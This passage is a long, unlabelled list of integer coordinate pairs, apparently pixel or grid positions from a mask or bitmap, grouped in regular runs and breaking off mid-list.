(35,425), (35,426), (35,427), (35,428), (35,429), (35,430), (35,431), (35,432), (35,433), (35,434), (35,435), (35,436), (35,469), (35,470), (35,471), (35,472), (35,473), (35,474), (35,475), (35,476), (35,485), (35,486), (35,487), (35,488), (35,489), (35,490), (35,491), (35,492), (36,5), (36,6), (36,7), (36,8), (36,9), (36,10), (36,11), (36,12), (36,93), (36,94), (36,95), (36,96), (36,97), (36,98), (36,99), (36,100), (36,141), (36,142), (36,143), (36,144), (36,145), (36,146), (36,147), (36,148), (36,197), (36,198), (36,199), (36,200), (36,201), (36,202), (36,203), (36,204), (36,221), (36,222), (36,223), (36,224), (36,225), (36,226), (36,227), (36,228), (36,229), (36,230), (36,231), (36,232), (36,233), (36,234), (36,235), (36,236), (36,261), (36,262), (36,263), (36,264), (36,265), (36,266), (36,267), (36,268), (36,293), (36,294), (36,295), (36,296), (36,297), (36,298), (36,299), (36,300), (36,413), (36,414), (36,415), (36,416), (36,417), (36,418), (36,419), (36,420), (36,421), (36,422), (36,423), (36,424), (36,425), (36,426), (36,427), (36,428), (36,429), (36,430), (36,431), (36,432), (36,433), (36,434), (36,435), (36,436), (36,469), (36,470), (36,471), (36,472), (36,473), (36,474), (36,475), (36,476), (36,485), (36,486), (36,487), (36,488), (36,489), (36,490), (36,491), (36,492), (37,5), (37,6), (37,7), (37,8), (37,9), (37,10), (37,11), (37,12), (37,93), (37,94), (37,95), (37,96), (37,97), (37,98), (37,99), (37,100), (37,141), (37,142), (37,143), (37,144), (37,145), (37,146), (37,147), (37,148), (37,197), (37,198), (37,199), (37,200), (37,201), (37,202), (37,203), (37,204), (37,221), (37,222), (37,223), (37,224), (37,225), (37,226), (37,227), (37,228), (37,229), (37,230), (37,231), (37,232), (37,233), (37,234), (37,235), (37,236), (37,261), (37,262), (37,263), (37,264), (37,265), (37,266), (37,267), (37,268), (37,293), (37,294), (37,295), (37,296), (37,297), (37,298), (37,299), (37,300), (37,413), (37,414), (37,415), (37,416), (37,417), (37,418), (37,419), (37,420), (37,421), (37,422), (37,423), (37,424), (37,425), (37,426), (37,427), (37,428), (37,429), (37,430), (37,431), (37,432), (37,433), (37,434), (37,435), (37,436), (37,469), (37,470), (37,471), (37,472), (37,473), (37,474), (37,475), (37,476), (37,485), (37,486), (37,487), (37,488), (37,489), (37,490), (37,491), (37,492), (38,5), (38,6), (38,7), (38,8), (38,9), (38,10), (38,11), (38,12), (38,93), (38,94), (38,95), (38,96), (38,97), (38,98), (38,99), (38,100), (38,141), (38,142), (38,143), (38,144), (38,145), (38,146), (38,147), (38,148), (38,197), (38,198), (38,199), (38,200), (38,201), (38,202), (38,203), (38,204), (38,221), (38,222), (38,223), (38,224), (38,225), (38,226), (38,227), (38,228), (38,229), (38,230), (38,231), (38,232), (38,233), (38,234), (38,235), (38,236), (38,261), (38,262), (38,263), (38,264), (38,265), (38,266), (38,267), (38,268), (38,293), (38,294), (38,295), (38,296), (38,297), (38,298), (38,299), (38,300), (38,413), (38,414), (38,415), (38,416), (38,417), (38,418), (38,419), (38,420), (38,421), (38,422), (38,423), (38,424), (38,425), (38,426), (38,427), (38,428), (38,429), (38,430), (38,431), (38,432), (38,433), (38,434), (38,435), (38,436), (38,469), (38,470), (38,471), (38,472), (38,473), (38,474), (38,475), (38,476), (38,485), (38,486), (38,487), (38,488), (38,489), (38,490), (38,491), (38,492), (39,5), (39,6), (39,7), (39,8), (39,9), (39,10), (39,11), (39,12), (39,93), (39,94), (39,95), (39,96), (39,97), (39,98), (39,99), (39,100), (39,141), (39,142), (39,143), (39,144), (39,145), (39,146), (39,147), (39,148), (39,197), (39,198), (39,199), (39,200), (39,201), (39,202), (39,203), (39,204), (39,221), (39,222), (39,223), (39,224), (39,225), (39,226), (39,227), (39,228), (39,229), (39,230), (39,231), (39,232), (39,233), (39,234), (39,235), (39,236), (39,261), (39,262), (39,263), (39,264), (39,265), (39,266), (39,267), (39,268), (39,293), (39,294), (39,295), (39,296), (39,297), (39,298), (39,299), (39,300), (39,413), (39,414), (39,415), (39,416), (39,417), (39,418), (39,419), (39,420), (39,421), (39,422), (39,423), (39,424), (39,425), (39,426), (39,427), (39,428), (39,429), (39,430), (39,431), (39,432), (39,433), (39,434), (39,435), (39,436), (39,469), (39,470), (39,471), (39,472), (39,473), (39,474), (39,475), (39,476), (39,485), (39,486), (39,487), (39,488), (39,489), (39,490), (39,491), (39,492), (40,5), (40,6), (40,7), (40,8), (40,9), (40,10), (40,11), (40,12), (40,93), (40,94), (40,95), (40,96), (40,97), (40,98), (40,99), (40,100), (40,141), (40,142), (40,143), (40,144), (40,145), (40,146), (40,147), (40,148), (40,197), (40,198), (40,199), (40,200), (40,201), (40,202), (40,203), (40,204), (40,229), (40,230), (40,231), (40,232), (40,233), (40,234), (40,235), (40,236), (40,253), (40,254), (40,255), (40,256), (40,257), (40,258), (40,259), (40,260), (40,293), (40,294), (40,295), (40,296), (40,297), (40,298), (40,299), (40,300), (40,301), (40,302), (40,303), (40,304), (40,305), (40,306), (40,307), (40,308), (40,309), (40,310), (40,311), (40,312), (40,313), (40,314), (40,315), (40,316), (40,317), (40,318), (40,319), (40,320), (40,321), (40,322), (40,323), (40,324), (40,421), (40,422), (40,423), (40,424), (40,425), (40,426), (40,427), (40,428), (40,477), (40,478), (40,479), (40,480), (40,481), (40,482), (40,483), (40,484), (40,485), (40,486), (40,487), (40,488), (40,489), (40,490), (40,491), (40,492), (41,5), (41,6), (41,7), (41,8), (41,9), (41,10), (41,11), (41,12), (41,93), (41,94), (41,95), (41,96), (41,97), (41,98), (41,99), (41,100), (41,141), (41,142), (41,143), (41,144), (41,145), (41,146), (41,147), (41,148), (41,197), (41,198), (41,199), (41,200), (41,201), (41,202), (41,203), (41,204), (41,229), (41,230), (41,231), (41,232), (41,233), (41,234), (41,235), (41,236), (41,253), (41,254), (41,255), (41,256), (41,257), (41,258), (41,259), (41,260), (41,293), (41,294), (41,295), (41,296), (41,297), (41,298), (41,299), (41,300), (41,301), (41,302), (41,303), (41,304), (41,305), (41,306), (41,307), (41,308), (41,309), (41,310), (41,311), (41,312), (41,313), (41,314), (41,315), (41,316), (41,317), (41,318), (41,319), (41,320), (41,321), (41,322), (41,323), (41,324), (41,421), (41,422), (41,423), (41,424), (41,425), (41,426), (41,427), (41,428), (41,477), (41,478), (41,479), (41,480), (41,481), (41,482), (41,483), (41,484), (41,485), (41,486), (41,487), (41,488), (41,489), (41,490), (41,491), (41,492), (42,5), (42,6), (42,7), (42,8), (42,9), (42,10), (42,11), (42,12), (42,93), (42,94), (42,95), (42,96), (42,97), (42,98), (42,99), (42,100), (42,141), (42,142), (42,143), (42,144), (42,145), (42,146), (42,147), (42,148), (42,197), (42,198), (42,199), (42,200), (42,201), (42,202), (42,203), (42,204), (42,229), (42,230), (42,231), (42,232), (42,233), (42,234), (42,235), (42,236), (42,253), (42,254), (42,255), (42,256), (42,257), (42,258), (42,259), (42,260), (42,293), (42,294), (42,295), (42,296), (42,297), (42,298), (42,299), (42,300), (42,301), (42,302), (42,303), (42,304), (42,305), (42,306), (42,307), (42,308), (42,309), (42,310), (42,311), (42,312), (42,313), (42,314), (42,315), (42,316), (42,317), (42,318), (42,319), (42,320), (42,321), (42,322), (42,323), (42,324), (42,421), (42,422), (42,423), (42,424), (42,425), (42,426), (42,427), (42,428), (42,477), (42,478), (42,479), (42,480), (42,481), (42,482), (42,483), (42,484), (42,485), (42,486), (42,487), (42,488), (42,489), (42,490), (42,491), (42,492), (43,5), (43,6), (43,7), (43,8), (43,9), (43,10), (43,11), (43,12), (43,93), (43,94), (43,95), (43,96), (43,97), (43,98), (43,99), (43,100), (43,141), (43,142), (43,143), (43,144), (43,145), (43,146), (43,147), (43,148), (43,197), (43,198), (43,199), (43,200), (43,201), (43,202), (43,203), (43,204), (43,229), (43,230), (43,231), (43,232), (43,233), (43,234), (43,235), (43,236), (43,253), (43,254), (43,255), (43,256), (43,257), (43,258), (43,259), (43,260), (43,293), (43,294), (43,295), (43,296), (43,297), (43,298), (43,299), (43,300), (43,301), (43,302), (43,303), (43,304), (43,305), (43,306), (43,307), (43,308), (43,309), (43,310), (43,311), (43,312), (43,313), (43,314), (43,315), (43,316), (43,317), (43,318), (43,319), (43,320), (43,321), (43,322), (43,323), (43,324), (43,421), (43,422), (43,423), (43,424), (43,425), (43,426), (43,427), (43,428), (43,477), (43,478), (43,479), (43,480), (43,481), (43,482), (43,483), (43,484), (43,485), (43,486), (43,487), (43,488), (43,489), (43,490), (43,491), (43,492), (44,5), (44,6), (44,7), (44,8), (44,9), (44,10), (44,11), (44,12), (44,93), (44,94), (44,95), (44,96), (44,97), (44,98), (44,99), (44,100), (44,141), (44,142), (44,143), (44,144), (44,145), (44,146), (44,147), (44,148), (44,197), (44,198), (44,199), (44,200), (44,201), (44,202), (44,203), (44,204), (44,229), (44,230), (44,231), (44,232), (44,233), (44,234), (44,235), (44,236), (44,253), (44,254), (44,255), (44,256), (44,257), (44,258), (44,259), (44,260), (44,293), (44,294), (44,295), (44,296), (44,297), (44,298), (44,299), (44,300), (44,301), (44,302), (44,303), (44,304), (44,305), (44,306), (44,307), (44,308), (44,309), (44,310), (44,311), (44,312), (44,313), (44,314), (44,315), (44,316), (44,317), (44,318), (44,319), (44,320), (44,321), (44,322), (44,323), (44,324), (44,421), (44,422), (44,423), (44,424), (44,425), (44,426), (44,427), (44,428), (44,477), (44,478), (44,479), (44,480), (44,481), (44,482), (44,483), (44,484), (44,485), (44,486), (44,487), (44,488), (44,489), (44,490), (44,491), (44,492), (45,5), (45,6), (45,7), (45,8), (45,9), (45,10), (45,11), (45,12), (45,93), (45,94), (45,95), (45,96), (45,97), (45,98), (45,99), (45,100), (45,141), (45,142), (45,143), (45,144), (45,145), (45,146), (45,147), (45,148), (45,197), (45,198), (45,199), (45,200), (45,201), (45,202), (45,203), (45,204), (45,229), (45,230), (45,231), (45,232), (45,233), (45,234), (45,235), (45,236), (45,253), (45,254), (45,255), (45,256), (45,257), (45,258), (45,259), (45,260), (45,293), (45,294), (45,295), (45,296), (45,297), (45,298), (45,299), (45,300), (45,301), (45,302), (45,303), (45,304), (45,305), (45,306), (45,307), (45,308), (45,309), (45,310), (45,311), (45,312), (45,313), (45,314), (45,315), (45,316), (45,317), (45,318), (45,319), (45,320), (45,321), (45,322), (45,323), (45,324), (45,421), (45,422), (45,423), (45,424), (45,425), (45,426), (45,427), (45,428), (45,477), (45,478), (45,479), (45,480), (45,481), (45,482), (45,483), (45,484), (45,485), (45,486), (45,487), (45,488), (45,489), (45,490), (45,491), (45,492), (46,5), (46,6), (46,7), (46,8), (46,9), (46,10), (46,11), (46,12), (46,93), (46,94), (46,95), (46,96), (46,97), (46,98), (46,99), (46,100), (46,141), (46,142), (46,143), (46,144), (46,145), (46,146), (46,147), (46,148), (46,197), (46,198), (46,199), (46,200), (46,201), (46,202), (46,203), (46,204), (46,229), (46,230), (46,231), (46,232), (46,233), (46,234), (46,235), (46,236), (46,253), (46,254), (46,255), (46,256), (46,257), (46,258), (46,259), (46,260), (46,293), (46,294), (46,295), (46,296), (46,297), (46,298), (46,299), (46,300), (46,301), (46,302), (46,303), (46,304), (46,305), (46,306), (46,307), (46,308), (46,309), (46,310), (46,311), (46,312), (46,313), (46,314), (46,315), (46,316), (46,317), (46,318), (46,319), (46,320), (46,321), (46,322), (46,323), (46,324), (46,421), (46,422), (46,423), (46,424), (46,425), (46,426), (46,427), (46,428), (46,477), (46,478), (46,479), (46,480), (46,481), (46,482), (46,483), (46,484), (46,485), (46,486), (46,487), (46,488), (46,489), (46,490), (46,491), (46,492), (47,5), (47,6), (47,7), (47,8), (47,9), (47,10), (47,11), (47,12), (47,93), (47,94), (47,95), (47,96), (47,97), (47,98), (47,99), (47,100), (47,141), (47,142), (47,143), (47,144), (47,145), (47,146), (47,147), (47,148), (47,197), (47,198), (47,199), (47,200), (47,201), (47,202), (47,203), (47,204), (47,229), (47,230), (47,231), (47,232), (47,233), (47,234), (47,235), (47,236), (47,253), (47,254), (47,255), (47,256), (47,257), (47,258), (47,259), (47,260), (47,293), (47,294), (47,295), (47,296), (47,297), (47,298), (47,299), (47,300), (47,301), (47,302), (47,303), (47,304), (47,305), (47,306), (47,307), (47,308), (47,309), (47,310), (47,311), (47,312), (47,313), (47,314), (47,315), (47,316), (47,317), (47,318), (47,319), (47,320), (47,321), (47,322), (47,323), (47,324), (47,421), (47,422), (47,423), (47,424), (47,425), (47,426), (47,427), (47,428), (47,477), (47,478), (47,479), (47,480), (47,481), (47,482), (47,483), (47,484), (47,485), (47,486), (47,487), (47,488), (47,489), (47,490), (47,491), (47,492), (48,5), (48,6), (48,7), (48,8), (48,9), (48,10), (48,11), (48,12), (48,93), (48,94), (48,95), (48,96), (48,97), (48,98), (48,99), (48,100), (48,141), (48,142), (48,143), (48,144), (48,145), (48,146), (48,147), (48,148), (48,197), (48,198), (48,199), (48,200), (48,201), (48,202), (48,203), (48,204), (48,229), (48,230), (48,231), (48,232), (48,233), (48,234), (48,235), (48,236), (48,253), (48,254), (48,255), (48,256), (48,257), (48,258), (48,259), (48,260), (48,293), (48,294), (48,295), (48,296), (48,297), (48,298), (48,299), (48,300), (48,413), (48,414), (48,415), (48,416), (48,417), (48,418), (48,419), (48,420), (48,421), (48,422), (48,423), (48,424), (48,425), (48,426), (48,427), (48,428), (48,429), (48,430), (48,431), (48,432), (48,433), (48,434), (48,435), (48,436), (48,477), (48,478), (48,479), (48,480), (48,481), (48,482), (48,483), (48,484), (49,5), (49,6), (49,7), (49,8), (49,9), (49,10), (49,11), (49,12), (49,93), (49,94), (49,95), (49,96), (49,97), (49,98), (49,99), (49,100), (49,141), (49,142), (49,143), (49,144), (49,145), (49,146), (49,147), (49,148), (49,197), (49,198), (49,199), (49,200), (49,201), (49,202), (49,203), (49,204), (49,229), (49,230), (49,231), (49,232), (49,233), (49,234), (49,235), (49,236), (49,253), (49,254), (49,255), (49,256), (49,257), (49,258), (49,259), (49,260), (49,293), (49,294), (49,295), (49,296), (49,297), (49,298), (49,299), (49,300), (49,413), (49,414), (49,415), (49,416), (49,417), (49,418), (49,419), (49,420), (49,421), (49,422), (49,423), (49,424), (49,425), (49,426), (49,427), (49,428), (49,429), (49,430), (49,431), (49,432), (49,433), (49,434), (49,435), (49,436), (49,477), (49,478), (49,479), (49,480), (49,481), (49,482), (49,483), (49,484), (50,5), (50,6), (50,7), (50,8), (50,9), (50,10), (50,11), (50,12), (50,93), (50,94), (50,95), (50,96), (50,97), (50,98), (50,99), (50,100), (50,141), (50,142), (50,143), (50,144), (50,145), (50,146), (50,147), (50,148), (50,197), (50,198), (50,199), (50,200), (50,201), (50,202), (50,203), (50,204), (50,229), (50,230), (50,231), (50,232), (50,233), (50,234), (50,235), (50,236), (50,253), (50,254), (50,255), (50,256), (50,257), (50,258), (50,259), (50,260), (50,293), (50,294), (50,295), (50,296), (50,297), (50,298), (50,299), (50,300), (50,413), (50,414), (50,415), (50,416), (50,417), (50,418), (50,419), (50,420), (50,421), (50,422), (50,423), (50,424), (50,425), (50,426), (50,427), (50,428), (50,429), (50,430), (50,431), (50,432), (50,433), (50,434), (50,435), (50,436), (50,477), (50,478), (50,479), (50,480), (50,481), (50,482), (50,483), (50,484), (51,5), (51,6), (51,7), (51,8), (51,9), (51,10), (51,11), (51,12), (51,93), (51,94), (51,95), (51,96), (51,97), (51,98), (51,99), (51,100), (51,141), (51,142), (51,143), (51,144), (51,145), (51,146), (51,147), (51,148), (51,197), (51,198), (51,199), (51,200), (51,201), (51,202), (51,203), (51,204), (51,229), (51,230), (51,231), (51,232), (51,233), (51,234), (51,235), (51,236), (51,253), (51,254), (51,255), (51,256), (51,257), (51,258), (51,259), (51,260), (51,293), (51,294), (51,295), (51,296), (51,297), (51,298), (51,299), (51,300), (51,413), (51,414), (51,415), (51,416), (51,417), (51,418), (51,419), (51,420), (51,421), (51,422), (51,423), (51,424), (51,425), (51,426), (51,427), (51,428), (51,429), (51,430), (51,431), (51,432), (51,433), (51,434), (51,435), (51,436), (51,477), (51,478), (51,479), (51,480), (51,481), (51,482), (51,483), (51,484), (52,5), (52,6), (52,7), (52,8), (52,9), (52,10), (52,11), (52,12), (52,93), (52,94), (52,95), (52,96), (52,97), (52,98), (52,99), (52,100), (52,141), (52,142), (52,143), (52,144), (52,145), (52,146), (52,147), (52,148), (52,197), (52,198), (52,199), (52,200), (52,201), (52,202), (52,203), (52,204), (52,229), (52,230), (52,231), (52,232), (52,233), (52,234), (52,235), (52,236), (52,253), (52,254), (52,255), (52,256), (52,257), (52,258), (52,259), (52,260), (52,293), (52,294), (52,295), (52,296), (52,297), (52,298), (52,299), (52,300), (52,413), (52,414), (52,415), (52,416), (52,417), (52,418), (52,419), (52,420), (52,421), (52,422), (52,423), (52,424), (52,425), (52,426), (52,427), (52,428), (52,429), (52,430), (52,431), (52,432), (52,433), (52,434), (52,435), (52,436), (52,477), (52,478), (52,479), (52,480), (52,481), (52,482), (52,483), (52,484), (53,5), (53,6), (53,7), (53,8), (53,9), (53,10), (53,11), (53,12), (53,93), (53,94), (53,95), (53,96), (53,97), (53,98), (53,99), (53,100), (53,141), (53,142), (53,143), (53,144), (53,145), (53,146), (53,147), (53,148), (53,197), (53,198), (53,199), (53,200), (53,201), (53,202), (53,203), (53,204), (53,229), (53,230), (53,231), (53,232), (53,233), (53,234), (53,235), (53,236), (53,253), (53,254), (53,255), (53,256), (53,257), (53,258), (53,259), (53,260), (53,293), (53,294), (53,295), (53,296), (53,297), (53,298), (53,299), (53,300), (53,413), (53,414), (53,415), (53,416), (53,417), (53,418), (53,419), (53,420), (53,421), (53,422), (53,423), (53,424), (53,425), (53,426), (53,427), (53,428), (53,429), (53,430), (53,431), (53,432), (53,433), (53,434), (53,435), (53,436), (53,477), (53,478), (53,479), (53,480), (53,481), (53,482), (53,483), (53,484), (54,5), (54,6), (54,7), (54,8), (54,9), (54,10), (54,11), (54,12), (54,93), (54,94), (54,95), (54,96), (54,97), (54,98), (54,99), (54,100), (54,141), (54,142), (54,143), (54,144), (54,145), (54,146), (54,147), (54,148), (54,197), (54,198), (54,199), (54,200), (54,201), (54,202), (54,203), (54,204), (54,229), (54,230), (54,231), (54,232), (54,233), (54,234), (54,235), (54,236), (54,253), (54,254), (54,255), (54,256), (54,257), (54,258), (54,259), (54,260), (54,293), (54,294), (54,295), (54,296), (54,297), (54,298), (54,299), (54,300), (54,413), (54,414), (54,415), (54,416), (54,417), (54,418), (54,419), (54,420), (54,421), (54,422), (54,423), (54,424), (54,425), (54,426), (54,427), (54,428), (54,429), (54,430), (54,431), (54,432), (54,433), (54,434), (54,435), (54,436), (54,477), (54,478), (54,479), (54,480), (54,481), (54,482), (54,483), (54,484), (55,5), (55,6), (55,7), (55,8), (55,9), (55,10), (55,11), (55,12), (55,93), (55,94), (55,95), (55,96), (55,97), (55,98), (55,99), (55,100), (55,141), (55,142), (55,143), (55,144), (55,145), (55,146), (55,147), (55,148), (55,197), (55,198), (55,199), (55,200), (55,201), (55,202), (55,203), (55,204), (55,229), (55,230), (55,231), (55,232), (55,233), (55,234), (55,235), (55,236), (55,253), (55,254), (55,255), (55,256), (55,257), (55,258), (55,259), (55,260), (55,293), (55,294), (55,295), (55,296), (55,297), (55,298), (55,299), (55,300), (55,413), (55,414), (55,415), (55,416), (55,417), (55,418), (55,419), (55,420), (55,421), (55,422), (55,423), (55,424), (55,425), (55,426), (55,427), (55,428), (55,429), (55,430), (55,431), (55,432), (55,433), (55,434), (55,435), (55,436), (55,477), (55,478), (55,479), (55,480), (55,481), (55,482), (55,483), (55,484), (56,5), (56,6), (56,7), (56,8), (56,9), (56,10), (56,11), (56,12), (56,93), (56,94), (56,95), (56,96), (56,97), (56,98), (56,99), (56,100), (56,141), (56,142), (56,143), (56,144), (56,145), (56,146), (56,147), (56,148), (56,197), (56,198), (56,199), (56,200), (56,201), (56,202), (56,203), (56,204), (56,237), (56,238), (56,239), (56,240), (56,241), (56,242), (56,243), (56,244), (56,253), (56,254), (56,255), (56,256), (56,257), (56,258), (56,259), (56,260), (56,293), (56,294), (56,295), (56,296), (56,297), (56,298), (56,299), (56,300), (56,405), (56,406), (56,407), (56,408), (56,409), (56,410), (56,411), (56,412), (56,413), (56,414), (56,415), (56,416), (56,417), (56,418), (56,419), (56,420), (56,429), (56,430), (56,431), (56,432), (56,433), (56,434), (56,435), (56,436), (56,437), (56,438), (56,439), (56,440), (56,441), (56,442), (56,443), (56,444), (56,477), (56,478), (56,479), (56,480), (56,481), (56,482), (56,483), (56,484), (57,5), (57,6), (57,7), (57,8), (57,9), (57,10), (57,11), (57,12), (57,93), (57,94), (57,95), (57,96), (57,97), (57,98), (57,99), (57,100), (57,141), (57,142), (57,143), (57,144), (57,145), (57,146), (57,147), (57,148), (57,197), (57,198), (57,199), (57,200), (57,201), (57,202), (57,203), (57,204), (57,237), (57,238), (57,239), (57,240), (57,241), (57,242), (57,243), (57,244), (57,253), (57,254), (57,255), (57,256), (57,257), (57,258), (57,259), (57,260), (57,293), (57,294), (57,295), (57,296), (57,297), (57,298), (57,299), (57,300), (57,405), (57,406), (57,407), (57,408), (57,409), (57,410), (57,411), (57,412), (57,413), (57,414), (57,415), (57,416), (57,417), (57,418), (57,419), (57,420), (57,429), (57,430), (57,431), (57,432), (57,433), (57,434), (57,435), (57,436), (57,437), (57,438), (57,439), (57,440), (57,441), (57,442), (57,443), (57,444), (57,477), (57,478), (57,479), (57,480), (57,481), (57,482), (57,483), (57,484), (58,5), (58,6), (58,7), (58,8), (58,9), (58,10), (58,11), (58,12), (58,93), (58,94), (58,95), (58,96), (58,97), (58,98), (58,99), (58,100), (58,141), (58,142), (58,143), (58,144), (58,145), (58,146), (58,147), (58,148), (58,197), (58,198), (58,199), (58,200), (58,201), (58,202), (58,203), (58,204), (58,237), (58,238), (58,239), (58,240), (58,241), (58,242), (58,243), (58,244), (58,253), (58,254), (58,255), (58,256), (58,257), (58,258), (58,259), (58,260), (58,293), (58,294), (58,295), (58,296), (58,297), (58,298), (58,299), (58,300), (58,405), (58,406), (58,407), (58,408), (58,409), (58,410), (58,411), (58,412), (58,413), (58,414), (58,415), (58,416), (58,417), (58,418), (58,419), (58,420), (58,429), (58,430), (58,431), (58,432), (58,433), (58,434), (58,435), (58,436), (58,437), (58,438), (58,439), (58,440), (58,441), (58,442), (58,443), (58,444), (58,477), (58,478), (58,479), (58,480), (58,481), (58,482), (58,483), (58,484), (59,5), (59,6), (59,7), (59,8), (59,9), (59,10), (59,11), (59,12), (59,93), (59,94), (59,95), (59,96), (59,97), (59,98), (59,99), (59,100), (59,141), (59,142), (59,143), (59,144), (59,145), (59,146), (59,147), (59,148), (59,197), (59,198), (59,199), (59,200), (59,201), (59,202), (59,203), (59,204), (59,237), (59,238), (59,239), (59,240), (59,241), (59,242), (59,243), (59,244), (59,253), (59,254), (59,255), (59,256), (59,257), (59,258), (59,259), (59,260), (59,293), (59,294), (59,295), (59,296), (59,297), (59,298), (59,299), (59,300), (59,405), (59,406), (59,407), (59,408), (59,409), (59,410), (59,411), (59,412), (59,413), (59,414), (59,415), (59,416), (59,417), (59,418), (59,419), (59,420), (59,429), (59,430), (59,431), (59,432), (59,433), (59,434), (59,435), (59,436), (59,437), (59,438), (59,439), (59,440), (59,441), (59,442), (59,443), (59,444), (59,477), (59,478), (59,479), (59,480), (59,481), (59,482), (59,483), (59,484), (60,5), (60,6), (60,7), (60,8), (60,9), (60,10), (60,11), (60,12), (60,93), (60,94), (60,95), (60,96), (60,97), (60,98), (60,99), (60,100), (60,141), (60,142), (60,143), (60,144), (60,145), (60,146), (60,147), (60,148), (60,197), (60,198), (60,199), (60,200), (60,201), (60,202), (60,203), (60,204), (60,237), (60,238), (60,239), (60,240), (60,241), (60,242), (60,243), (60,244), (60,253), (60,254), (60,255), (60,256), (60,257), (60,258), (60,259), (60,260), (60,293), (60,294), (60,295), (60,296), (60,297), (60,298), (60,299), (60,300), (60,405), (60,406), (60,407), (60,408), (60,409), (60,410), (60,411), (60,412), (60,413), (60,414), (60,415), (60,416), (60,417), (60,418), (60,419), (60,420), (60,429), (60,430), (60,431), (60,432), (60,433), (60,434), (60,435), (60,436), (60,437), (60,438), (60,439), (60,440), (60,441), (60,442), (60,443), (60,444), (60,477), (60,478), (60,479), (60,480), (60,481), (60,482), (60,483), (60,484), (61,5), (61,6), (61,7), (61,8), (61,9), (61,10), (61,11), (61,12), (61,93), (61,94), (61,95), (61,96), (61,97), (61,98), (61,99), (61,100), (61,141), (61,142), (61,143), (61,144), (61,145), (61,146), (61,147), (61,148), (61,197), (61,198), (61,199), (61,200), (61,201), (61,202), (61,203), (61,204), (61,237), (61,238), (61,239), (61,240), (61,241), (61,242), (61,243), (61,244), (61,253), (61,254), (61,255), (61,256), (61,257), (61,258), (61,259), (61,260), (61,293), (61,294), (61,295), (61,296), (61,297), (61,298), (61,299), (61,300), (61,405), (61,406), (61,407), (61,408), (61,409), (61,410), (61,411), (61,412), (61,413), (61,414), (61,415), (61,416), (61,417), (61,418), (61,419), (61,420), (61,429), (61,430), (61,431), (61,432), (61,433), (61,434), (61,435), (61,436), (61,437), (61,438), (61,439), (61,440), (61,441), (61,442), (61,443), (61,444), (61,477), (61,478), (61,479), (61,480), (61,481), (61,482), (61,483), (61,484), (62,5), (62,6), (62,7), (62,8), (62,9), (62,10), (62,11), (62,12), (62,93), (62,94), (62,95), (62,96), (62,97), (62,98), (62,99), (62,100), (62,141), (62,142), (62,143), (62,144), (62,145), (62,146), (62,147), (62,148), (62,197), (62,198), (62,199), (62,200), (62,201), (62,202), (62,203), (62,204), (62,237), (62,238), (62,239), (62,240), (62,241), (62,242), (62,243), (62,244), (62,253), (62,254), (62,255), (62,256), (62,257), (62,258), (62,259), (62,260), (62,293), (62,294), (62,295), (62,296), (62,297), (62,298), (62,299), (62,300), (62,405), (62,406), (62,407), (62,408), (62,409), (62,410), (62,411), (62,412), (62,413), (62,414), (62,415), (62,416), (62,417), (62,418), (62,419), (62,420), (62,429), (62,430), (62,431), (62,432), (62,433), (62,434), (62,435), (62,436), (62,437), (62,438), (62,439), (62,440), (62,441), (62,442), (62,443), (62,444), (62,477), (62,478), (62,479), (62,480), (62,481), (62,482), (62,483), (62,484), (63,5), (63,6), (63,7), (63,8), (63,9), (63,10), (63,11), (63,12), (63,93), (63,94), (63,95), (63,96), (63,97), (63,98), (63,99), (63,100), (63,141), (63,142), (63,143), (63,144), (63,145), (63,146), (63,147), (63,148), (63,197), (63,198), (63,199), (63,200), (63,201), (63,202), (63,203), (63,204), (63,237), (63,238), (63,239), (63,240), (63,241), (63,242), (63,243), (63,244), (63,253), (63,254), (63,255), (63,256), (63,257), (63,258), (63,259), (63,260), (63,293), (63,294), (63,295), (63,296), (63,297), (63,298), (63,299), (63,300), (63,405), (63,406), (63,407), (63,408), (63,409), (63,410), (63,411), (63,412), (63,413), (63,414), (63,415), (63,416), (63,417), (63,418), (63,419), (63,420), (63,429), (63,430), (63,431), (63,432), (63,433), (63,434), (63,435), (63,436), (63,437), (63,438), (63,439), (63,440), (63,441), (63,442), (63,443), (63,444), (63,477), (63,478), (63,479), (63,480), (63,481), (63,482), (63,483), (63,484), (64,5), (64,6), (64,7), (64,8), (64,9), (64,10), (64,11), (64,12), (64,93), (64,94), (64,95), (64,96), (64,97), (64,98), (64,99), (64,100), (64,149), (64,150), (64,151), (64,152), (64,153), (64,154), (64,155), (64,156), (64,189), (64,190), (64,191), (64,192), (64,193), (64,194), (64,195), (64,196), (64,237), (64,238), (64,239), (64,240), (64,241), (64,242), (64,243), (64,244), (64,245), (64,246), (64,247), (64,248), (64,249), (64,250), (64,251), (64,252), (64,293), (64,294), (64,295), (64,296), (64,297), (64,298), (64,299), (64,300), (64,405), (64,406), (64,407), (64,408), (64,409), (64,410), (64,411), (64,412), (64,437), (64,438), (64,439), (64,440), (64,441), (64,442), (64,443), (64,444), (64,477), (64,478), (64,479), (64,480), (64,481), (64,482), (64,483), (64,484), (65,5), (65,6), (65,7), (65,8), (65,9), (65,10), (65,11), (65,12), (65,93), (65,94), (65,95), (65,96), (65,97), (65,98), (65,99), (65,100), (65,149), (65,150), (65,151), (65,152), (65,153), (65,154), (65,155), (65,156), (65,189), (65,190), (65,191), (65,192), (65,193), (65,194), (65,195), (65,196), (65,237), (65,238), (65,239), (65,240), (65,241), (65,242), (65,243), (65,244), (65,245), (65,246), (65,247), (65,248), (65,249), (65,250), (65,251), (65,252), (65,293), (65,294), (65,295), (65,296), (65,297), (65,298), (65,299), (65,300), (65,405), (65,406), (65,407), (65,408), (65,409), (65,410), (65,411), (65,412), (65,437), (65,438), (65,439), (65,440), (65,441), (65,442), (65,443), (65,444), (65,477), (65,478), (65,479), (65,480), (65,481), (65,482), (65,483), (65,484), (66,5), (66,6), (66,7), (66,8), (66,9), (66,10), (66,11), (66,12), (66,93), (66,94), (66,95), (66,96), (66,97), (66,98), (66,99), (66,100), (66,149), (66,150), (66,151), (66,152), (66,153), (66,154), (66,155), (66,156), (66,189), (66,190), (66,191), (66,192), (66,193), (66,194), (66,195), (66,196), (66,237), (66,238), (66,239), (66,240), (66,241), (66,242), (66,243), (66,244), (66,245), (66,246), (66,247), (66,248), (66,249), (66,250), (66,251), (66,252), (66,293), (66,294), (66,295), (66,296), (66,297), (66,298), (66,299), (66,300), (66,405), (66,406), (66,407), (66,408), (66,409), (66,410), (66,411), (66,412), (66,437), (66,438), (66,439), (66,440), (66,441), (66,442), (66,443), (66,444), (66,477), (66,478), (66,479), (66,480), (66,481), (66,482), (66,483), (66,484), (67,5), (67,6), (67,7), (67,8), (67,9), (67,10), (67,11), (67,12), (67,93), (67,94), (67,95), 